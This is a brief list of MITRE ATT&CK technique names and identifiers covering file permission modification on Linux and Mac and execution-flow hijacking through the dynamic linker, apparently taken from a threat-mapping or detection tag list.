File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking